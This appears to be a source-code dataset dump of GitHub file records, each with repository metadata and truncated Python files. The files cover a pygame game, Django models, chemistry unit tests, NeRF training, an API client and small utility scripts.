5b52c5c3ac640dd2a9064c33baaa9bc1885cf15f
[ "MIT" ]
null
null
null
Hash_Encryption/learn_hash.py
KECB/learn
5b52c5c3ac640dd2a9064c33baaa9bc1885cf15f
[ "MIT" ]
null
null
null
print(bkdr_hash('JKiidalk'))
22
57
0.632231
6147f22b0796759c5a32f0ffdb28f704d41d8247
2,587
py
Python
unittest_reinvent/library_design/test_fragment_reactions.py
MolecularAI/reinvent-chemistry
bf0235bc2b1168b1db54c1e04bdba04b166ab7bf
[ "MIT" ]
null
null
null
unittest_reinvent/library_design/test_fragment_reactions.py
MolecularAI/reinvent-chemistry
bf0235bc2b1168b1db54c1e04bdba04b166ab7bf
[ "MIT" ]
null
null
null
unittest_reinvent/library_design/test_fragment_reactions.py
MolecularAI/reinvent-chemistry
bf0235bc2b1168b1db54c1e04bdba04b166ab7bf
[ "MIT" ]
1
2022-03-22T15:24:13.000Z
2022-03-22T15:24:13.000Z
import unittest from reinvent_chemistry import Conversions from reinvent_chemistry.library_design.fragment_reactions import FragmentReactions from unittest_reinvent.library_design.fixtures import FRAGMENT_REACTION_SUZUKI, SCAFFOLD_SUZUKI from unittest_reinvent.fixtures.test_data import CELECOXIB, ASPIRIN, CELECOXIB_FR...
45.385965
113
0.722845
61483b47ea13bcf3672a9c8fa8c62b5a43a043b2
4,998
py
Python
plataformas.py
AlejandroArango/Plataforma
590efe70e5fe87cc758f22984a3f7b1dab05b650
[ "MIT" ]
1
2016-05-10T13:10:38.000Z
2016-05-10T13:10:38.000Z
plataformas.py
AlejandroArango/Plataforma
590efe70e5fe87cc758f22984a3f7b1dab05b650
[ "MIT" ]
9
2016-05-10T13:13:30.000Z
2016-06-13T17:27:54.000Z
plataformas.py
AlejandroArango/Plataforma
590efe70e5fe87cc758f22984a3f7b1dab05b650
[ "MIT" ]
null
null
null
""" administrar la plataforma, aca ira todo el diseo de obstaculos """ import pygame from funcion_sprites import Sprite # variables que se tomaran para pintar las plataformas #nombre objeto x y xtam/ytam ################################# nivel 1 suelo_inicio = (140, 0, 70, 40) ...
31.043478
95
0.560024
6148e688ffc31bbe8333eace2095c1273f09545a
1,781
py
Python
nanitosbaby/store/models.py
Hector-hedb12/nanitosbaby
86eff05157dab02a7daca61e1f70ec76bbf6cbdf
[ "MIT" ]
null
null
null
nanitosbaby/store/models.py
Hector-hedb12/nanitosbaby
86eff05157dab02a7daca61e1f70ec76bbf6cbdf
[ "MIT" ]
null
null
null
nanitosbaby/store/models.py
Hector-hedb12/nanitosbaby
86eff05157dab02a7daca61e1f70ec76bbf6cbdf
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals, absolute_import from django.db import models from django.utils.encoding import python_2_unicode_compatible from django.utils.translation import ugettext_lazy as _
29.683333
102
0.708029
6149697222d0da55c214eb02250d731291f31b6d
2,357
py
Python
danceschool/private_events/admin.py
django-danceschool/django-danceschool
65ae09ffdcb0821e82df0e1f634fe13c0384a525
[ "BSD-3-Clause" ]
32
2017-09-12T04:25:25.000Z
2022-03-21T10:48:07.000Z
danceschool/private_events/admin.py
django-danceschool/django-danceschool
65ae09ffdcb0821e82df0e1f634fe13c0384a525
[ "BSD-3-Clause" ]
97
2017-09-01T02:43:08.000Z
2022-01-03T18:20:34.000Z
danceschool/private_events/admin.py
django-danceschool/django-danceschool
65ae09ffdcb0821e82df0e1f634fe13c0384a525
[ "BSD-3-Clause" ]
19
2017-09-26T13:34:46.000Z
2022-03-21T10:48:10.000Z
from django.contrib import admin from django.utils.translation import gettext_lazy as _ from django.forms import ModelForm from danceschool.core.admin import EventChildAdmin, EventOccurrenceInline from danceschool.core.models import Event from danceschool.core.forms import LocationWithDataWidget from .models import P...
31.013158
120
0.662707
614a153769e50dd807fe365bb1c9feed089ce54f
8,124
py
Python
build/lib/lsh_example/pos_analyzer.py
huangbeidan/activeLearner_autophrase
c7f1a4f1c7ea57a36c29c246ba393ba31e040353
[ "MIT" ]
1
2021-03-05T15:42:32.000Z
2021-03-05T15:42:32.000Z
build/lib/lsh_example/pos_analyzer.py
huangbeidan/activeLearner_autophrase
c7f1a4f1c7ea57a36c29c246ba393ba31e040353
[ "MIT" ]
null
null
null
build/lib/lsh_example/pos_analyzer.py
huangbeidan/activeLearner_autophrase
c7f1a4f1c7ea57a36c29c246ba393ba31e040353
[ "MIT" ]
null
null
null
import itertools import os import pickle import re from collections import defaultdict import matplotlib.pyplot as plt plt.style.use('seaborn-white') import numpy as np import pandas as pd import ast import dill from tqdm import tqdm from active_learner.Phrases import Phrases if __name__ == "__main__": toke...
33.295082
94
0.588996
614a784b21f0e47a46d44318d8132068954b427e
2,595
py
Python
imapfw/actions/unittests.py
paralax/imapfw
740a4fed1a1de28e4134a115a1dd9c6e90e29ec1
[ "MIT" ]
492
2015-10-12T18:18:48.000Z
2022-02-14T11:46:46.000Z
imapfw/actions/unittests.py
paralax/imapfw
740a4fed1a1de28e4134a115a1dd9c6e90e29ec1
[ "MIT" ]
21
2015-11-10T00:49:07.000Z
2021-12-30T07:51:25.000Z
imapfw/actions/unittests.py
paralax/imapfw
740a4fed1a1de28e4134a115a1dd9c6e90e29ec1
[ "MIT" ]
40
2015-10-15T13:27:31.000Z
2021-12-30T07:52:24.000Z
# The MIT License (MIT). # Copyright (c) 2015, Nicolas Sebrecht & contributors. from imapfw.interface import implements, checkInterfaces from imapfw.conf import Parser from .interface import ActionInterface # Annotations. from imapfw.annotation import ExceptionClass Parser.addAction('unitTests', UnitTests, help="...
36.041667
79
0.72447
614f64eed672024b79c76d390fd31ab4e15367ca
118
py
Python
PythonTKinter/HelloWord.py
M3nin0/ProgrammingMyVacation
6968c39caa63cdd82df34ca1aea66521c1ff0f1b
[ "Apache-2.0" ]
null
null
null
PythonTKinter/HelloWord.py
M3nin0/ProgrammingMyVacation
6968c39caa63cdd82df34ca1aea66521c1ff0f1b
[ "Apache-2.0" ]
null
null
null
PythonTKinter/HelloWord.py
M3nin0/ProgrammingMyVacation
6968c39caa63cdd82df34ca1aea66521c1ff0f1b
[ "Apache-2.0" ]
null
null
null
from tkinter import * janela = Tk() Label(janela, text="Ola mundo com interface grafica").pack() janela.mainloop()
14.75
60
0.720339
615107e9730f254889331e6cdcc60a9ff7200755
5,569
py
Python
circletracking/fluctuation.py
caspervdw/circletracking
2d981a1bd3f2982d5d36932d7d5a38e912fcdba3
[ "BSD-3-Clause" ]
4
2016-03-08T14:10:05.000Z
2022-02-03T21:26:51.000Z
circletracking/fluctuation.py
caspervdw/circletracking
2d981a1bd3f2982d5d36932d7d5a38e912fcdba3
[ "BSD-3-Clause" ]
2
2016-03-29T12:40:28.000Z
2016-04-01T09:36:58.000Z
circletracking/fluctuation.py
caspervdw/circletracking
2d981a1bd3f2982d5d36932d7d5a38e912fcdba3
[ "BSD-3-Clause" ]
2
2016-03-08T14:10:48.000Z
2020-12-23T05:59:26.000Z
from __future__ import (division, unicode_literals) import numpy as np from .algebraic import fit_ellipse import matplotlib.pyplot as plt def circle_deviation(coords): """ Fits a circle to given coordinates using an algebraic fit. Additionally returns the deviations from the circle radius in a list sorted on...
35.025157
79
0.601724
615208940aacf2ea5bf13b4e47d62132c7e2ae78
2,083
py
Python
Demos/collindemo.py
ToyVo/PygamePhysics
0645c0d5965f042c13e74df4e07d9147a936a482
[ "MIT" ]
null
null
null
Demos/collindemo.py
ToyVo/PygamePhysics
0645c0d5965f042c13e74df4e07d9147a936a482
[ "MIT" ]
null
null
null
Demos/collindemo.py
ToyVo/PygamePhysics
0645c0d5965f042c13e74df4e07d9147a936a482
[ "MIT" ]
null
null
null
from typing import Tuple, List import pygame from Contact.Contact import handle_contact from Forces.Bond import Bond from Forces.Gravity import Gravity from Forces.PairForce import PairForce from Forces.SingleForce import SingleForce from Objects.Circle import Circle from Objects.Particle import Particle from Vec2 im...
28.534247
113
0.610178
61521a23bb3936ffe427e5e47857a88b1ac1f072
409
py
Python
tests/test_str_to_sprite.py
davidbstein/gitfiti
f5787e5b8719b1bf7f017c0a58e9429d7d9c52f6
[ "MIT" ]
null
null
null
tests/test_str_to_sprite.py
davidbstein/gitfiti
f5787e5b8719b1bf7f017c0a58e9429d7d9c52f6
[ "MIT" ]
null
null
null
tests/test_str_to_sprite.py
davidbstein/gitfiti
f5787e5b8719b1bf7f017c0a58e9429d7d9c52f6
[ "MIT" ]
null
null
null
from sprites import str_to_sprite, ONEUP_STR SYMBOLS = ''' .*******. *=~~-~~=* *~~---~~* *=*****=* **-*-*-** .*-----*. ..*****.. ''' NUMBERS = [ [0,4,4,4,4,4,4,4,0], [4,3,2,2,0,2,2,3,4], [4,2,2,0,0,0,2,2,4], [4,3,4,4,4,4,4,3,4], [4,4,0,4,0,4,0,4,4], [0,4,0,0,0,0,0,4,0], [0,0,4,4,4,4,4,0,0], ]
14.607143
44
0.457213
61526a179dd4c5b5a65b9ebfc991253615c1c9af
843
py
Python
api_v1/tests/test_models.py
mrkiura/yolo
4f739b54ac6a44b83f86270bb0d728b920794ce5
[ "Unlicense", "MIT" ]
3
2016-12-13T10:14:51.000Z
2019-04-22T11:11:32.000Z
api_v1/tests/test_models.py
mrkiura/yolo
4f739b54ac6a44b83f86270bb0d728b920794ce5
[ "Unlicense", "MIT" ]
6
2016-06-10T12:37:48.000Z
2016-06-21T05:47:23.000Z
api_v1/tests/test_models.py
mrkiura/yolo
4f739b54ac6a44b83f86270bb0d728b920794ce5
[ "Unlicense", "MIT" ]
1
2016-09-14T18:42:13.000Z
2016-09-14T18:42:13.000Z
from django.db import models from django.test import TestCase from factories import UserFactory, BucketlistFactory, BucketlistItemFactory
29.068966
75
0.734282
61528e35d9ee5f29afe80a029bf86e560218db6f
10,455
py
Python
student_teacher_trainer.py
ashwinpn/Computer-Vision
9dc3abfe416385171b76e2bad6872e10f36a12b4
[ "MIT" ]
1
2021-03-26T14:35:21.000Z
2021-03-26T14:35:21.000Z
student_teacher_trainer.py
ashwinpn/Computer-Vision
9dc3abfe416385171b76e2bad6872e10f36a12b4
[ "MIT" ]
null
null
null
student_teacher_trainer.py
ashwinpn/Computer-Vision
9dc3abfe416385171b76e2bad6872e10f36a12b4
[ "MIT" ]
null
null
null
import torch import torch.nn import torch.nn.functional as F from tqdm import tqdm import gc from run_nerf_helpers import * import numpy as np import matplotlib.pyplot as plt from collections import deque import argparse device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") parser = argparse.Argument...
45.064655
175
0.726351
61539c546a71ee8c53ffbc384e4ce521dc6eee99
4,864
py
Python
generatePassionlyUser.py
killax-d/Passionly-API
8f6df152a2d05ea3cc9aa97bc0cb369b3881b51e
[ "MIT" ]
null
null
null
generatePassionlyUser.py
killax-d/Passionly-API
8f6df152a2d05ea3cc9aa97bc0cb369b3881b51e
[ "MIT" ]
null
null
null
generatePassionlyUser.py
killax-d/Passionly-API
8f6df152a2d05ea3cc9aa97bc0cb369b3881b51e
[ "MIT" ]
null
null
null
import random N = int(input("Number of users needed : ")) last_address_id = int(input("Last address id : ")) last_user_id = int(input("Last user id : ")) file = open('users.sql', 'w+') questions = { 1: {'unique': True, 'criteria': 'random', 'answers': [1, 2, 3]}, 2: {'unique': True, 'criteria': 'random', 'answers'...
38
286
0.632813
6154e6e5f3741da1515e451470c33863b67c5a95
2,453
py
Python
ggacha/item.py
wmyfelix/genshin-gacha-kit
1828004ae2807b4f99b6b879545f344b60b01013
[ "MIT" ]
3
2021-06-21T04:21:46.000Z
2021-08-10T22:28:33.000Z
ggacha/item.py
wmyfelix/genshin-gacha-kit
1828004ae2807b4f99b6b879545f344b60b01013
[ "MIT" ]
1
2021-07-27T14:28:49.000Z
2022-02-21T16:15:19.000Z
ggacha/item.py
wmyfelix/genshin-gacha-kit
1828004ae2807b4f99b6b879545f344b60b01013
[ "MIT" ]
1
2021-07-29T12:40:14.000Z
2021-07-29T12:40:14.000Z
# class Item: # """""" # # # items == [{"item_id":"1022","name":"","item_type":"","rank_type":"5"}, ...] # items = http_get_json( # url='https://webstatic.mihoyo.com/hk4e/gacha_info/cn_gf01/items/zh-cn.json' # ) # # # ################################################################ # @s...
33.148649
87
0.398288
61554c110af8beac3d6fe3a418cd6ef5cf1b047a
506
py
Python
recbole/model/sequential_recommender/coserec.py
mengruwu/RecBole
251fb3478a35b061a2a411d598e8c716b94133c1
[ "MIT" ]
null
null
null
recbole/model/sequential_recommender/coserec.py
mengruwu/RecBole
251fb3478a35b061a2a411d598e8c716b94133c1
[ "MIT" ]
null
null
null
recbole/model/sequential_recommender/coserec.py
mengruwu/RecBole
251fb3478a35b061a2a411d598e8c716b94133c1
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # @Time : 2020/9/18 11:33 # @Author : Hui Wang # @Email : hui.wang@ruc.edu.cn """ SASRec ################################################ Reference: Wang-Cheng Kang et al. "Self-Attentive Sequential Recommendation." in ICDM 2018. Reference: https://github.com/kang205/SASRec """...
21.083333
84
0.616601
61573280417ff62fd3e211db5ccac015351a1d2f
614
py
Python
whisper/templatetags/chat.py
PragmaticMates/django-whisper
2cf94d5adcc5d897502b4a379034184c8ec833a1
[ "Apache-2.0" ]
4
2019-02-15T16:37:18.000Z
2021-12-01T04:10:09.000Z
whisper/templatetags/chat.py
PragmaticMates/django-whisper
2cf94d5adcc5d897502b4a379034184c8ec833a1
[ "Apache-2.0" ]
null
null
null
whisper/templatetags/chat.py
PragmaticMates/django-whisper
2cf94d5adcc5d897502b4a379034184c8ec833a1
[ "Apache-2.0" ]
null
null
null
from django import template from django.contrib.auth import get_user_model register = template.Library()
27.909091
53
0.688925
6157c056f3cdc35a654509bab1d1b88e2a48945a
6,919
py
Python
chement/core.py
NaleRaphael/chement
fcd32c60107f2cdb15abda1c858e1444fc6ff6cc
[ "MIT" ]
null
null
null
chement/core.py
NaleRaphael/chement
fcd32c60107f2cdb15abda1c858e1444fc6ff6cc
[ "MIT" ]
null
null
null
chement/core.py
NaleRaphael/chement
fcd32c60107f2cdb15abda1c858e1444fc6ff6cc
[ "MIT" ]
null
null
null
import logging import requests from .config import MeshConfiguration, ChebiConfiguration, EntrezConfiguration from .parser import BasicParser, ChebiObjectParser from .objbase import MeshObject from .sparql import SparqlQuery, QueryTerm2UI __all__ = ['MeshURI', 'MeshRDFRequest', 'MeshRDFResponse', 'MeshSearchRequest', ...
31.738532
103
0.6222
615842aa488c11ca9578f55dc30c65b00ee3a393
5,815
py
Python
deeptables/fe/dae.py
daBawse167/deeptables
74254d451107e567b4497e0fe81ac484201713ec
[ "Apache-2.0" ]
828
2020-05-24T02:42:33.000Z
2022-03-31T01:37:36.000Z
deeptables/fe/dae.py
daBawse167/deeptables
74254d451107e567b4497e0fe81ac484201713ec
[ "Apache-2.0" ]
36
2020-06-02T14:20:20.000Z
2022-02-23T11:05:09.000Z
deeptables/fe/dae.py
daBawse167/deeptables
74254d451107e567b4497e0fe81ac484201713ec
[ "Apache-2.0" ]
170
2020-05-26T15:43:13.000Z
2022-03-25T06:35:37.000Z
# -*- coding:utf-8 -*- __author__ = 'yangjian' """ Denoise Auto-encoder Denosing auto encoders are an important and crucial tools for feature selection and extraction. """ import numpy as np from tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau from tensorflow.keras.layers import Dense, Input from te...
41.241135
118
0.601204
615a9a697c37336d51a7cdc176a1e9ceeb62b8d2
1,133
py
Python
Tree/leetcode_tree/medium/94.py
catdog001/leetcode_python
b70588121ef2ce5c27ff4cb610c81c33c961a3db
[ "Apache-2.0" ]
null
null
null
Tree/leetcode_tree/medium/94.py
catdog001/leetcode_python
b70588121ef2ce5c27ff4cb610c81c33c961a3db
[ "Apache-2.0" ]
null
null
null
Tree/leetcode_tree/medium/94.py
catdog001/leetcode_python
b70588121ef2ce5c27ff4cb610c81c33c961a3db
[ "Apache-2.0" ]
null
null
null
""" : : [1,null,2,3] 1 \ 2 / 3 : [1,3,2] : LeetCode https://leetcode-cn.com/problems/binary-tree-inorder-traversal """ """ p qp = q.right) """ # Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # ...
20.981481
77
0.560459
615c5121211df490e4956df5cee84fd40785167a
1,154
py
Python
bqq/data/schemas.py
martintupy/bqq
e07bc021ffaa6c4fa9aa51a77492003aebabd54d
[ "Apache-2.0" ]
null
null
null
bqq/data/schemas.py
martintupy/bqq
e07bc021ffaa6c4fa9aa51a77492003aebabd54d
[ "Apache-2.0" ]
null
null
null
bqq/data/schemas.py
martintupy/bqq
e07bc021ffaa6c4fa9aa51a77492003aebabd54d
[ "Apache-2.0" ]
null
null
null
import glob import json import os import shutil from pathlib import Path from typing import List from bqq import const from bqq.types import JobInfo from google.cloud.bigquery.schema import SchemaField
28.146341
75
0.607452
615d1643b3681fae499461bb4a105e05c5f7cdca
190
py
Python
pseudo_ircbot.py
EdLeafe/elastic_irc
38959e25c0b9b309b89a46c3f7ab0a3576429621
[ "MIT" ]
null
null
null
pseudo_ircbot.py
EdLeafe/elastic_irc
38959e25c0b9b309b89a46c3f7ab0a3576429621
[ "MIT" ]
1
2020-07-03T14:36:10.000Z
2020-07-03T14:36:10.000Z
pseudo_ircbot.py
EdLeafe/elastic_irc
38959e25c0b9b309b89a46c3f7ab0a3576429621
[ "MIT" ]
null
null
null
import datetime import async_parse_irc yesterday = datetime.date.today() - datetime.timedelta(days=1) start = yesterday.strftime("%Y-%m-%d") async_parse_irc.parse(start=start, quiet=True)
23.75
62
0.773684
615e397ada402e05ece5e8287e4aabf1e19a3939
5,929
py
Python
apis/posts_api/tests/test_posts_utils.py
MasterBDX/find-your-api
23e22093df36574cb81703f315da5bfdf1efc51e
[ "MIT" ]
2
2020-12-31T10:32:18.000Z
2021-01-01T03:15:30.000Z
apis/posts_api/tests/test_posts_utils.py
MasterBDX/find-your-api
23e22093df36574cb81703f315da5bfdf1efc51e
[ "MIT" ]
null
null
null
apis/posts_api/tests/test_posts_utils.py
MasterBDX/find-your-api
23e22093df36574cb81703f315da5bfdf1efc51e
[ "MIT" ]
null
null
null
from django.test import TestCase from django.urls import reverse from rest_framework import status from rest_framework.test import APIClient from apis.models import UserApiModel,PostApiModel from ..utils import (get_new_post, get_serialized_data, create_api_posts) from ..se...
43.277372
88
0.508517
616298ee15060701f29d812b70019b35885dd80a
550
py
Python
Chapter14/config_parser_read.py
PacktPublishing/GettingStartedwithPythonfortheInternetofThings-
a5a86ae38b3a4c625dfc1213d32a3f49e1e298c6
[ "MIT" ]
6
2017-05-17T17:51:45.000Z
2021-11-08T13:10:35.000Z
Chapter14/config_parser_read.py
PacktPublishing/GettingStartedwithPythonfortheInternetofThings-
a5a86ae38b3a4c625dfc1213d32a3f49e1e298c6
[ "MIT" ]
null
null
null
Chapter14/config_parser_read.py
PacktPublishing/GettingStartedwithPythonfortheInternetofThings-
a5a86ae38b3a4c625dfc1213d32a3f49e1e298c6
[ "MIT" ]
14
2017-05-21T17:59:40.000Z
2021-10-02T16:58:16.000Z
#!/usr/bin/python3 import configparser if __name__ == "__main__": # initialize ConfigParser config_parser = configparser.ConfigParser() # Let's read the config file config_parser.read('raspi.cfg') device_id = config_parser.get('AppInfo', 'id') debug_switch = config_parser.get('AppInfo', 'debug_switch') senso...
26.190476
64
0.736364
61634c5d28ec0e5fa95553fd25e04a02267c3a23
301
py
Python
common/src/stack/command/stack/commands/report/system/tests/test_df.py
khanfluence/stacki-cumulus-switch
df54afb20f6ea6a3a136b3c09b30df54ea79ffcc
[ "BSD-3-Clause" ]
123
2015-05-12T23:36:45.000Z
2017-07-05T23:26:57.000Z
common/src/stack/command/stack/commands/report/system/tests/test_df.py
khanfluence/stacki-cumulus-switch
df54afb20f6ea6a3a136b3c09b30df54ea79ffcc
[ "BSD-3-Clause" ]
177
2015-06-05T19:17:47.000Z
2017-07-07T17:57:24.000Z
common/src/stack/command/stack/commands/report/system/tests/test_df.py
khanfluence/stacki-cumulus-switch
df54afb20f6ea6a3a136b3c09b30df54ea79ffcc
[ "BSD-3-Clause" ]
32
2015-06-07T02:25:03.000Z
2017-06-23T07:35:35.000Z
import shutil
21.5
49
0.724252
6163a41389d6c9447247605bd31c2fde594d5dae
748
py
Python
mintohours_norm.py
GiacomoCrevani/CESP_MSc_thesis
bce0b6ccee06630a04c5590caf0b4ed42b359c90
[ "CC0-1.0" ]
null
null
null
mintohours_norm.py
GiacomoCrevani/CESP_MSc_thesis
bce0b6ccee06630a04c5590caf0b4ed42b359c90
[ "CC0-1.0" ]
null
null
null
mintohours_norm.py
GiacomoCrevani/CESP_MSc_thesis
bce0b6ccee06630a04c5590caf0b4ed42b359c90
[ "CC0-1.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Fri Sep 10 10:18:55 2021 @author: giaco """ #code useful to shift from min resolution to hourly, such that the csv load demand can be fed as input to MicrogridsPy #yearly profile is required import numpy as np import pandas as pd #minute and hour indexes minute_in...
27.703704
119
0.695187
616495d99eaadbc172ec861f51af65378cdd26cd
2,314
py
Python
Git-Gamer.py
nikilson/git-gamer
d0862f8d2cbbc47d057975b9af87fdebece9132f
[ "MIT" ]
null
null
null
Git-Gamer.py
nikilson/git-gamer
d0862f8d2cbbc47d057975b9af87fdebece9132f
[ "MIT" ]
null
null
null
Git-Gamer.py
nikilson/git-gamer
d0862f8d2cbbc47d057975b9af87fdebece9132f
[ "MIT" ]
null
null
null
import os from os import path from datetime import datetime import subprocess # Checking the default location # add remote location home = (path.expanduser("~")) git_gamer_location = path.join(home, "GitGamer") current_cwd = os.getcwd() #hide console # si = subprocess.STARTUPINFO() # si.dwFlags |= subprocess.STARTF_U...
32.138889
80
0.703976
6164c0914aca12f9a4b8a2c1a13e7d76578e7120
2,564
py
Python
src/objective.py
azane/chomp
843ce07148389a63f46091daed12c83c8a3ac52c
[ "MIT" ]
1
2022-03-27T11:02:54.000Z
2022-03-27T11:02:54.000Z
src/objective.py
azane/chomp
843ce07148389a63f46091daed12c83c8a3ac52c
[ "MIT" ]
null
null
null
src/objective.py
azane/chomp
843ce07148389a63f46091daed12c83c8a3ac52c
[ "MIT" ]
1
2022-03-27T11:03:22.000Z
2022-03-27T11:03:22.000Z
import numpy as np import theano as th import sympy as sm import theano.tensor as tt from typing import * def th_obstacle(q: tt.TensorVariable, u: tt.TensorConstant, xf: Callable[[tt.TensorVariable, tt.TensorConstant], tt.Tensor], cf: Callable[[tt.Tensor], tt.Tensor]): """ ...
26.163265
80
0.585803
6166fba4b94593c2647210c0e98e1420a4c404f3
649
py
Python
regex-improve.py
tylerjereddy/regex-improve
526ac8ae1bb97bbc5401f3e1796a065ca6d30d98
[ "MIT" ]
null
null
null
regex-improve.py
tylerjereddy/regex-improve
526ac8ae1bb97bbc5401f3e1796a065ca6d30d98
[ "MIT" ]
1
2020-12-28T23:01:49.000Z
2020-12-29T15:47:39.000Z
regex-improve.py
tylerjereddy/regex-improve
526ac8ae1bb97bbc5401f3e1796a065ca6d30d98
[ "MIT" ]
null
null
null
import lib from lib import extra_char_class, general import argparse if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-d", help="target directory") parser.add_argument("-n", help="name of regex offense") args = parser.par...
30.904762
77
0.644068
61678ae5338640a2f904c427e986cfa9ce80ea04
2,200
py
Python
radarly/user.py
gvannest/radarly-py
fba9a575b0d1e4d6a2f1041506ece55298b17e0f
[ "Apache-2.0" ]
6
2018-04-27T10:01:46.000Z
2019-02-19T13:14:16.000Z
radarly/user.py
gvannest/radarly-py
fba9a575b0d1e4d6a2f1041506ece55298b17e0f
[ "Apache-2.0" ]
1
2021-02-16T04:12:44.000Z
2021-03-19T08:05:10.000Z
radarly/user.py
gvannest/radarly-py
fba9a575b0d1e4d6a2f1041506ece55298b17e0f
[ "Apache-2.0" ]
5
2019-02-04T17:11:06.000Z
2021-11-12T05:07:43.000Z
""" This module defines objects used to explore information about a Radarly User. For security reasons, you can only retrieve information about the current user of the API. """ from .api import RadarlyApi from .model import SourceModel from .project import InfoProject
34.375
83
0.612727
61696efc02baa4bd76628d5a785149b2ecf4ac45
11,300
py
Python
018-crackme-z3/asdf.py
gynvael/stream
2d1a3f25b2f83241b39dab931d9ff03fca81d26e
[ "MIT" ]
152
2016-02-04T10:40:46.000Z
2022-03-03T18:25:54.000Z
018-crackme-z3/asdf.py
gynvael/stream
2d1a3f25b2f83241b39dab931d9ff03fca81d26e
[ "MIT" ]
4
2016-03-11T23:49:46.000Z
2017-06-16T18:58:53.000Z
018-crackme-z3/asdf.py
gynvael/stream
2d1a3f25b2f83241b39dab931d9ff03fca81d26e
[ "MIT" ]
48
2016-01-31T19:13:36.000Z
2021-09-03T19:50:17.000Z
from z3 import * calc()
24.197002
43
0.544867
6169a29f451a12cc8e1ba3235f472011542270b8
6,388
py
Python
appengine/gce-backend/models.py
Swift1313/luci-py
0a4fdfc25f89833026be6a8b29c0a27b8f3c5fc4
[ "Apache-2.0" ]
null
null
null
appengine/gce-backend/models.py
Swift1313/luci-py
0a4fdfc25f89833026be6a8b29c0a27b8f3c5fc4
[ "Apache-2.0" ]
null
null
null
appengine/gce-backend/models.py
Swift1313/luci-py
0a4fdfc25f89833026be6a8b29c0a27b8f3c5fc4
[ "Apache-2.0" ]
null
null
null
# Copyright 2016 The LUCI Authors. All rights reserved. # Use of this source code is governed under the Apache License, Version 2.0 # that can be found in the LICENSE file. """Datastore model for GCE Backend.""" from google.appengine.ext import ndb from google.appengine.ext.ndb import msgprop from components.machine...
42.304636
79
0.770664
616a739668994a5946257c047aa9b7976b970b06
456
py
Python
src/core/settings/drf.py
SELO77/django_template
7686ffc3ea0f5eba355702426a94c98a7f71086d
[ "BSD-2-Clause" ]
null
null
null
src/core/settings/drf.py
SELO77/django_template
7686ffc3ea0f5eba355702426a94c98a7f71086d
[ "BSD-2-Clause" ]
null
null
null
src/core/settings/drf.py
SELO77/django_template
7686ffc3ea0f5eba355702426a94c98a7f71086d
[ "BSD-2-Clause" ]
null
null
null
REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.AllowAny', ), 'DEFAULT_THROTTLE_CLASSES': ( 'rest_framework.throttling.AnonRateThrottle', 'rest_framework.throttling.UserRateThrottle', 'core.throttling.PreSingUpThrottle', ), 'DEFAULT_THRO...
26.823529
53
0.620614
617041d0e30c332e98269360d1d57e46d26d1bed
57
py
Python
trading.py
samanbalahang/tradingBot
9432c813957a64808058637f3409160ad8e6dcab
[ "MIT" ]
null
null
null
trading.py
samanbalahang/tradingBot
9432c813957a64808058637f3409160ad8e6dcab
[ "MIT" ]
null
null
null
trading.py
samanbalahang/tradingBot
9432c813957a64808058637f3409160ad8e6dcab
[ "MIT" ]
null
null
null
from driver import driver driver.printWhatIneed(driver)
14.25
29
0.842105
61723a1b20b4237f505c9fd4feae8442da74d3da
1,430
py
Python
utils/reshuffle.py
Longday0923/CODAH_Baseline
e9e331452a12c85e35969833cbfc824d6c0256c1
[ "MIT" ]
196
2020-05-05T01:29:52.000Z
2022-03-29T04:07:54.000Z
utils/reshuffle.py
Longday0923/CODAH_Baseline
e9e331452a12c85e35969833cbfc824d6c0256c1
[ "MIT" ]
15
2020-06-29T13:48:21.000Z
2022-03-30T06:51:02.000Z
utils/reshuffle.py
Longday0923/CODAH_Baseline
e9e331452a12c85e35969833cbfc824d6c0256c1
[ "MIT" ]
48
2020-05-07T12:11:07.000Z
2022-03-18T05:28:08.000Z
import argparse import json from tqdm import tqdm import numpy as np params = { 'src':{ 'train': './data/{ds}/statement/train.statement.jsonl', 'dev': './data/{ds}/statement/dev.statement.jsonl', }, 'tgt':{ 'train': './data/{ds}/statement/train.statement_.jsonl', 'dev': './d...
22.698413
82
0.603497
6174f1287314ede549a08cfd2e4fe1fae8d82fdd
1,813
py
Python
solar/orchestration/executor.py
Mirantis/solar
7d12e56d403d70a923cd1caa9c7e3c8cf6fc57aa
[ "Apache-2.0" ]
7
2015-09-07T22:52:32.000Z
2016-01-14T09:27:09.000Z
solar/orchestration/executor.py
Mirantis/solar
7d12e56d403d70a923cd1caa9c7e3c8cf6fc57aa
[ "Apache-2.0" ]
117
2015-09-08T05:46:16.000Z
2016-04-14T16:46:33.000Z
solar/orchestration/executor.py
Mirantis/solar
7d12e56d403d70a923cd1caa9c7e3c8cf6fc57aa
[ "Apache-2.0" ]
21
2015-09-08T06:34:50.000Z
2015-12-09T09:14:24.000Z
# Copyright 2015 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
32.375
78
0.675124
617706d9af1528050554eb4adddf06173dba8150
1,016
py
Python
colors.py
roralsorom/hfdoyedu
2281a7f98d20d9aae451d245df6a3310327f8988
[ "MIT" ]
null
null
null
colors.py
roralsorom/hfdoyedu
2281a7f98d20d9aae451d245df6a3310327f8988
[ "MIT" ]
null
null
null
colors.py
roralsorom/hfdoyedu
2281a7f98d20d9aae451d245df6a3310327f8988
[ "MIT" ]
null
null
null
import platform, os try: if platform.system() == 'Windows': os.system('cls') else: os.system('clear') except: pass # Foreground colors # Background colors if __name__ == '__main__': print('You are not supposed to run this program.\nThis was made to be a module.') os.system('pause...
15.393939
85
0.600394
617945e5c13e5b25e8537f02420f73656a8bb4f4
235
py
Python
server/utils/__init__.py
yseiren87/jellicleSpace
10d693bbc04e6b89a7ce15d2dc9797cec2a553b7
[ "Apache-2.0" ]
null
null
null
server/utils/__init__.py
yseiren87/jellicleSpace
10d693bbc04e6b89a7ce15d2dc9797cec2a553b7
[ "Apache-2.0" ]
7
2021-03-19T04:47:00.000Z
2021-09-22T19:10:46.000Z
server/utils/__init__.py
yseiren87/jellicleSpace
